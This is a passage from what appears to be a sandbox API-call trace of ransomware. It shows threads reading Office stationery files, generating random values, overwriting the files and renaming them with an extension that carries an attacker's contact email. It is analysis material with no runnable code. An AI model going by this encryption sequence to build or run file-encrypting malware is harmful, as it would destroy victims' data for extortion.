out: Seed=0x13bdfb14) returned 0x19edcc84 [0060.127] RtlRandomEx (in: Seed=0x13bdfb14 | out: Seed=0x13bdfb14) returned 0x5077b14d [0060.127] RtlRandomEx (in: Seed=0x13bdfb14 | out: Seed=0x13bdfb14) returned 0x56167b4 [0060.127] RtlRandomEx (in: Seed=0x13bdfb14 | out: Seed=0x13bdfb14) returned 0x2d479e78 [0060.128] RtlRandomEx (in: Seed=0x13bdfb14 | out: Seed=0x13bdfb14) returned 0x4e9c15d8 [0060.128] RtlRandomEx (in: Seed=0x13bdfb14 | out: Seed=0x13bdfb14) returned 0x5894745e [0060.128] RtlRandomEx (in: Seed=0x13bdfb14 | out: Seed=0x13bdfb14) returned 0x674e0e56 [0060.128] RtlRandomEx (in: Seed=0x13bdfb14 | out: Seed=0x13bdfb14) returned 0x75489c37 [0060.128] RtlRandomEx (in: Seed=0x13bdfb14 | out: Seed=0x13bdfb14) returned 0xd5e3be8 [0060.128] RtlRandomEx (in: Seed=0x13bdfb14 | out: Seed=0x13bdfb14) returned 0x6cfd3a76 [0060.128] RtlRandomEx (in: Seed=0x13bdfb14 | out: Seed=0x13bdfb14) returned 0x1a45aba [0060.128] RtlRandomEx (in: Seed=0x13bdfb14 | out: Seed=0x13bdfb14) returned 0x4958e98e [0060.128] RtlRandomEx (in: Seed=0x13bdfb14 | out: Seed=0x13bdfb14) returned 0x58f92db6 [0060.128] RtlRandomEx (in: Seed=0x13bdfb14 | out: Seed=0x13bdfb14) returned 0x632a69e4 [0060.128] RtlRandomEx (in: Seed=0x13bdfb14 | out: Seed=0x13bdfb14) returned 0x5beeb4a7 [0060.128] RtlRandomEx (in: Seed=0x13bdfb14 | out: Seed=0x13bdfb14) returned 0x21ab3ed7 [0060.128] RtlRandomEx (in: Seed=0x13bdfb14 | out: Seed=0x13bdfb14) returned 0x57bf93bd [0060.128] RtlRandomEx (in: Seed=0x13bdfb14 | out: Seed=0x13bdfb14) returned 0x465f7f1f [0060.128] RtlRandomEx (in: Seed=0x13bdfb14 | out: Seed=0x13bdfb14) returned 0x5dd0ff30 [0060.128] RtlRandomEx (in: Seed=0x13bdfb14 | out: Seed=0x13bdfb14) returned 0x6365cf15 [0060.141] ReadFile (in: hFile=0xfd0, lpBuffer=0x12c180c8, nNumberOfBytesToRead=0xf8d, lpNumberOfBytesRead=0x13bdfb04, lpOverlapped=0x0 | out: lpBuffer=0x12c180c8*, lpNumberOfBytesRead=0x13bdfb04*=0xf8d, lpOverlapped=0x0) returned 1 [0060.141] SetFilePointerEx (in: hFile=0xfd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.141] WriteFile (in: hFile=0xfd0, lpBuffer=0x12c248d0*, nNumberOfBytesToWrite=0xf8d, lpNumberOfBytesWritten=0x13bdfb00, lpOverlapped=0x0 | out: lpBuffer=0x12c248d0*, lpNumberOfBytesWritten=0x13bdfb00*=0xf8d, lpOverlapped=0x0) returned 1 [0062.582] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428ac8 [0062.582] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf320 [0062.582] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf320) returned 1 [0062.582] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12c248d0) returned 1 [0063.091] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12c180c8) returned 1 [0063.091] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ae70) returned 1 [0063.092] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c240) returned 1 [0063.092] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97cee10 [0063.092] SetFilePointerEx (in: hFile=0xfd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.092] WriteFile (in: hFile=0xfd0, lpBuffer=0x12d7c1c0*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x13bdfb68, lpOverlapped=0x0 | out: lpBuffer=0x12d7c1c0*, lpNumberOfBytesWritten=0x13bdfb68*=0x109, lpOverlapped=0x0) returned 1 [0063.103] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c1c0) returned 1 [0063.103] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ced80) returned 1 [0063.103] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05110) returned 1 [0063.103] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee10) returned 1 [0063.103] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428ac8) returned 1 [0063.103] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05390) returned 1 [0063.103] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05430) returned 1 [0063.103] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05458) returned 1 [0063.103] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e002d0 [0063.103] wcscpy (in: _Dest=0x5e002d0, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG" [0063.103] wcscat (in: _Dest=0x5e002d0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG.mailto[2Hamlampampom@cock.li].cd46d" [0063.103] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x13bdfb20, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.103] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xdc) returned 0x12cf9428 [0063.105] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf9428) returned 1 [0063.105] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1d6e8) returned 1 [0063.105] NtQueryInformationFile (in: FileHandle=0xfd0, IoStatusBlock=0x13bdfb2c, FileInformation=0x13bdfb04, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x13bdfb2c, FileInformation=0x13bdfb04) returned 0x0 [0063.105] NtSetInformationFile (FileHandle=0xfd0, IoStatusBlock=0x13bdfb2c, FileInformation=0x13bdfb04, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.136] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e002d0) returned 1 [0063.136] FlushFileBuffers (hFile=0xfd0) returned 1 [0066.211] CloseHandle (hObject=0xfd0) Thread: id = 798 os_tid = 0x1054 [0051.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\seamarbl.htm")) returned 0x20 [0051.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.HTM", dwFileAttributes=0x20) returned 1 [0060.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\seamarbl.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfd4 [0060.141] GetFileSizeEx (in: hFile=0xfd4, lpFileSize=0xac3fa00 | out: lpFileSize=0xac3fa00*=509) returned 1 [0060.141] SetFilePointerEx (in: hFile=0xfd4, liDistanceToMove=0x1f9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.141] ReadFile (in: hFile=0xfd4, lpBuffer=0xac3f984, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xac3f980, lpOverlapped=0x0 | out: lpBuffer=0xac3f984*, lpNumberOfBytesRead=0xac3f980*=0x4, lpOverlapped=0x0) returned 1 [0060.142] SetFilePointerEx (in: hFile=0xfd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.142] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05020 [0060.142] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05408 [0060.142] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05480 [0060.143] NtQuerySystemTime (in: CurrentTime=0xac3f960 | out: CurrentTime=0xac3f960*=132174898241304000) returned 0x0 [0060.143] RtlRandomEx (in: Seed=0xac3f96c | out: Seed=0xac3f96c) returned 0x769396a9 [0060.143] RtlRandomEx (in: Seed=0xac3f96c | out: Seed=0xac3f96c) returned 0x608c7868 [0060.143] RtlRandomEx (in: Seed=0xac3f96c | out: Seed=0xac3f96c) returned 0x4d2f5587 [0060.143] RtlRandomEx (in: Seed=0xac3f96c | out: Seed=0xac3f96c) returned 0x4ea4944e [0060.143] RtlRandomEx (in: Seed=0xac3f96c | out: Seed=0xac3f96c) returned 0x29fc2b37 [0060.143] RtlRandomEx (in: Seed=0xac3f96c | out: Seed=0xac3f96c) returned 0x36e1e62f [0060.143] RtlRandomEx (in: Seed=0xac3f96c | out: Seed=0xac3f96c) returned 0x2d7703c [0060.143] RtlRandomEx (in: Seed=0xac3f96c | out: Seed=0xac3f96c) returned 0x1c7faaa5 [0060.143] RtlRandomEx (in: Seed=0xac3f96c | out: Seed=0xac3f96c) returned 0x2be4a11f [0060.143] RtlRandomEx (in: Seed=0xac3f96c | out: Seed=0xac3f96c) returned 0x6aa8560c [0060.143] RtlRandomEx (in: Seed=0xac3f96c | out: Seed=0xac3f96c) returned 0x6b43d5bd [0060.143] RtlRandomEx (in: Seed=0xac3f96c | out: Seed=0xac3f96c) returned 0x3c58ed65 [0060.143] RtlRandomEx (in: Seed=0xac3f96c | out: Seed=0xac3f96c) returned 0x6f4c163c [0060.143] RtlRandomEx (in: Seed=0xac3f96c | out: Seed=0xac3f96c) returned 0x2326b602 [0060.143] RtlRandomEx (in: Seed=0xac3f96c | out: Seed=0xac3f96c) returned 0x2fe8439b [0060.143] RtlRandomEx (in: Seed=0xac3f96c | out: Seed=0xac3f96c) returned 0x2dbf68e9 [0060.143] RtlRandomEx (in: Seed=0xac3f96c | out: Seed=0xac3f96c) returned 0x6d2cdfe9 [0060.143] RtlRandomEx (in: Seed=0xac3f96c | out: Seed=0xac3f96c) returned 0x7ad9f7e [0060.143] RtlRandomEx (in: Seed=0xac3f96c | out: Seed=0xac3f96c) returned 0x45abad83 [0060.143] RtlRandomEx (in: Seed=0xac3f96c | out: Seed=0xac3f96c) returned 0x31c86890 [0060.143] RtlRandomEx (in: Seed=0xac3f96c | out: Seed=0xac3f96c) returned 0x4723d401 [0060.143] RtlRandomEx (in: Seed=0xac3f96c | out: Seed=0xac3f96c) returned 0x62719eaf [0060.143] RtlRandomEx (in: Seed=0xac3f96c | out: Seed=0xac3f96c) returned 0x76d90369 [0060.143] RtlRandomEx (in: Seed=0xac3f96c | out: Seed=0xac3f96c) returned 0x73bb73f [0060.143] RtlRandomEx (in: Seed=0xac3f96c | out: Seed=0xac3f96c) returned 0x2de83d75 [0060.143] RtlRandomEx (in: Seed=0xac3f96c | out: Seed=0xac3f96c) returned 0x1b5ddf35 [0060.143] RtlRandomEx (in: Seed=0xac3f96c | out: Seed=0xac3f96c) returned 0x7f7b17a7 [0060.143] RtlRandomEx (in: Seed=0xac3f96c | out: Seed=0xac3f96c) returned 0x7f060025 [0060.143] RtlRandomEx (in: Seed=0xac3f96c | out: Seed=0xac3f96c) returned 0x6a43cb23 [0060.144] RtlRandomEx (in: Seed=0xac3f96c | out: Seed=0xac3f96c) returned 0x440ae0aa [0060.144] RtlRandomEx (in: Seed=0xac3f96c | out: Seed=0xac3f96c) returned 0x44323bb1 [0060.144] RtlRandomEx (in: Seed=0xac3f96c | out: Seed=0xac3f96c) returned 0x21f23bb6 [0060.156] ReadFile (in: hFile=0xfd4, lpBuffer=0x12c310d8, nNumberOfBytesToRead=0x1fd, lpNumberOfBytesRead=0xac3f95c, lpOverlapped=0x0 | out: lpBuffer=0x12c310d8*, lpNumberOfBytesRead=0xac3f95c*=0x1fd, lpOverlapped=0x0) returned 1 [0060.156] SetFilePointerEx (in: hFile=0xfd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.156] WriteFile (in: hFile=0xfd4, lpBuffer=0x12c3d8e0*, nNumberOfBytesToWrite=0x1fd, lpNumberOfBytesWritten=0xac3f958, lpOverlapped=0x0 | out: lpBuffer=0x12c3d8e0*, lpNumberOfBytesWritten=0xac3f958*=0x1fd, lpOverlapped=0x0) returned 1 [0062.586] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf320 [0062.586] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf348 [0062.587] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf348) returned 1 [0062.587] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12c3d8e0) returned 1 [0063.102] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12c310d8) returned 1 [0063.102] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43adf8) returned 1 [0063.102] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bca0) returned 1 [0063.102] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97cef60 [0063.102] SetFilePointerEx (in: hFile=0xfd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.102] WriteFile (in: hFile=0xfd4, lpBuffer=0x12d7c508*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0xac3f9c0, lpOverlapped=0x0 | out: lpBuffer=0x12d7c508*, lpNumberOfBytesWritten=0xac3f9c0*=0x109, lpOverlapped=0x0) returned 1 [0063.138] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c508) returned 1 [0063.138] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cef90) returned 1 [0063.138] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05228) returned 1 [0063.138] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cef60) returned 1 [0063.138] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf320) returned 1 [0063.138] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05408) returned 1 [0063.138] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d054a8) returned 1 [0063.139] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d054d0) returned 1 [0063.139] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e002d0 [0063.139] wcscpy (in: _Dest=0x5e002d0, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.HTM") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.HTM" [0063.139] wcscat (in: _Dest=0x5e002d0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.HTM.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.HTM.mailto[2Hamlampampom@cock.li].cd46d" [0063.139] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.HTM.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xac3f978, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.HTM.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.139] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xdc) returned 0x12cf9428 [0063.140] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf9428) returned 1 [0063.140] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1d6e8) returned 1 [0063.140] NtQueryInformationFile (in: FileHandle=0xfd4, IoStatusBlock=0xac3f984, FileInformation=0xac3f95c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xac3f984, FileInformation=0xac3f95c) returned 0x0 [0063.140] NtSetInformationFile (FileHandle=0xfd4, IoStatusBlock=0xac3f984, FileInformation=0xac3f95c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.141] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e002d0) returned 1 [0063.141] FlushFileBuffers (hFile=0xfd4) returned 1 [0066.211] CloseHandle (hObject=0xfd4) Thread: id = 799 os_tid = 0x1058 [0051.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\seamarbl.jpg")) returned 0x20 [0051.904] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG", dwFileAttributes=0x20) returned 1 [0060.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\seamarbl.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfd8 [0060.157] GetFileSizeEx (in: hFile=0xfd8, lpFileSize=0x767faf8 | out: lpFileSize=0x767faf8*=6281) returned 1 [0060.157] SetFilePointerEx (in: hFile=0xfd8, liDistanceToMove=0x1885, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.157] ReadFile (in: hFile=0xfd8, lpBuffer=0x767fa7c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x767fa78, lpOverlapped=0x0 | out: lpBuffer=0x767fa7c*, lpNumberOfBytesRead=0x767fa78*=0x4, lpOverlapped=0x0) returned 1 [0060.159] SetFilePointerEx (in: hFile=0xfd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.159] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05020 [0060.159] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05480 [0060.159] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d054f8 [0060.159] NtQuerySystemTime (in: CurrentTime=0x767fa58 | out: CurrentTime=0x767fa58*=132174898241460000) returned 0x0 [0060.159] RtlRandomEx (in: Seed=0x767fa64 | out: Seed=0x767fa64) returned 0x3b53cb80 [0060.159] RtlRandomEx (in: Seed=0x767fa64 | out: Seed=0x767fa64) returned 0x1db2df6d [0060.159] RtlRandomEx (in: Seed=0x767fa64 | out: Seed=0x767fa64) returned 0x53cccce3 [0060.159] RtlRandomEx (in: Seed=0x767fa64 | out: Seed=0x767fa64) returned 0x29f2dd [0060.159] RtlRandomEx (in: Seed=0x767fa64 | out: Seed=0x767fa64) returned 0x9374bf9 [0060.159] RtlRandomEx (in: Seed=0x767fa64 | out: Seed=0x767fa64) returned 0xc44f5e0 [0060.159] RtlRandomEx (in: Seed=0x767fa64 | out: Seed=0x767fa64) returned 0x50f576e1 [0060.159] RtlRandomEx (in: Seed=0x767fa64 | out: Seed=0x767fa64) returned 0x2aa4c3c8 [0060.159] RtlRandomEx (in: Seed=0x767fa64 | out: Seed=0x767fa64) returned 0x42422a95 [0060.159] RtlRandomEx (in: Seed=0x767fa64 | out: Seed=0x767fa64) returned 0x2c2e094e [0060.159] RtlRandomEx (in: Seed=0x767fa64 | out: Seed=0x767fa64) returned 0x1edeccad [0060.159] RtlRandomEx (in: Seed=0x767fa64 | out: Seed=0x767fa64) returned 0xbe7ab01 [0060.159] RtlRandomEx (in: Seed=0x767fa64 | out: Seed=0x767fa64) returned 0x208b442d [0060.159] RtlRandomEx (in: Seed=0x767fa64 | out: Seed=0x767fa64) returned 0x1662ca3b [0060.160] RtlRandomEx (in: Seed=0x767fa64 | out: Seed=0x767fa64) returned 0x34b7d526 [0060.160] RtlRandomEx (in: Seed=0x767fa64 | out: Seed=0x767fa64) returned 0x707e0267 [0060.160] RtlRandomEx (in: Seed=0x767fa64 | out: Seed=0x767fa64) returned 0x4babfc92 [0060.160] RtlRandomEx (in: Seed=0x767fa64 | out: Seed=0x767fa64) returned 0x7d1e9dec [0060.160] RtlRandomEx (in: Seed=0x767fa64 | out: Seed=0x767fa64) returned 0x3f4c5688 [0060.160] RtlRandomEx (in: Seed=0x767fa64 | out: Seed=0x767fa64) returned 0x1723d476 [0060.160] RtlRandomEx (in: Seed=0x767fa64 | out: Seed=0x767fa64) returned 0x3eca29d9 [0060.160] RtlRandomEx (in: Seed=0x767fa64 | out: Seed=0x767fa64) returned 0x6349da52 [0060.160] RtlRandomEx (in: Seed=0x767fa64 | out: Seed=0x767fa64) returned 0x747339b [0060.160] RtlRandomEx (in: Seed=0x767fa64 | out: Seed=0x767fa64) returned 0x5eb4183f [0060.160] RtlRandomEx (in: Seed=0x767fa64 | out: Seed=0x767fa64) returned 0x4cda1b8b [0060.160] RtlRandomEx (in: Seed=0x767fa64 | out: Seed=0x767fa64) returned 0x3c82fda9 [0060.160] RtlRandomEx (in: Seed=0x767fa64 | out: Seed=0x767fa64) returned 0xa04aad8 [0060.160] RtlRandomEx (in: Seed=0x767fa64 | out: Seed=0x767fa64) returned 0x328ad19 [0060.160] RtlRandomEx (in: Seed=0x767fa64 | out: Seed=0x767fa64) returned 0x1e0890ed [0060.160] RtlRandomEx (in: Seed=0x767fa64 | out: Seed=0x767fa64) returned 0x1dddb82d [0060.160] RtlRandomEx (in: Seed=0x767fa64 | out: Seed=0x767fa64) returned 0x7d0cec39 [0060.160] RtlRandomEx (in: Seed=0x767fa64 | out: Seed=0x767fa64) returned 0x36ab9777 [0060.174] ReadFile (in: hFile=0xfd8, lpBuffer=0x12c4a0e8, nNumberOfBytesToRead=0x1889, lpNumberOfBytesRead=0x767fa54, lpOverlapped=0x0 | out: lpBuffer=0x12c4a0e8*, lpNumberOfBytesRead=0x767fa54*=0x1889, lpOverlapped=0x0) returned 1 [0060.175] SetFilePointerEx (in: hFile=0xfd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.175] WriteFile (in: hFile=0xfd8, lpBuffer=0x12c568f0*, nNumberOfBytesToWrite=0x1889, lpNumberOfBytesWritten=0x767fa50, lpOverlapped=0x0 | out: lpBuffer=0x12c568f0*, lpNumberOfBytesWritten=0x767fa50*=0x1889, lpOverlapped=0x0) returned 1 [0062.587] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf348 [0062.587] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf3c0 [0062.587] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf3c0) returned 1 [0062.587] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12c568f0) returned 1 [0063.120] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12c4a0e8) returned 1 [0063.125] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ad80) returned 1 [0063.125] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bc58) returned 1 [0063.125] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97cee10 [0063.125] SetFilePointerEx (in: hFile=0xfd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.126] WriteFile (in: hFile=0xfd8, lpBuffer=0x12d7c1c0*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x767fab8, lpOverlapped=0x0 | out: lpBuffer=0x12d7c1c0*, lpNumberOfBytesWritten=0x767fab8*=0x109, lpOverlapped=0x0) returned 1 [0063.128] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c1c0) returned 1 [0063.128] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ced80) returned 1 [0063.128] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05458) returned 1 [0063.128] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee10) returned 1 [0063.128] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf348) returned 1 [0063.128] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05480) returned 1 [0063.128] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05520) returned 1 [0063.128] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05548) returned 1 [0063.128] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e00540 [0063.128] wcscpy (in: _Dest=0x5e00540, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG" [0063.128] wcscat (in: _Dest=0x5e00540, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG.mailto[2Hamlampampom@cock.li].cd46d" [0063.128] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x767fa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.128] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xdc) returned 0x12cf9428 [0063.134] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf9428) returned 1 [0063.134] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1d6e8) returned 1 [0063.134] NtQueryInformationFile (in: FileHandle=0xfd8, IoStatusBlock=0x767fa7c, FileInformation=0x767fa54, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x767fa7c, FileInformation=0x767fa54) returned 0x0 [0063.134] NtSetInformationFile (FileHandle=0xfd8, IoStatusBlock=0x767fa7c, FileInformation=0x767fa54, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.135] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00540) returned 1 [0063.135] FlushFileBuffers (hFile=0xfd8) returned 1 [0066.201] CloseHandle (hObject=0xfd8) Thread: id = 800 os_tid = 0x105c [0051.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\techtool.gif")) returned 0x20 [0051.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.GIF", dwFileAttributes=0x20) returned 1 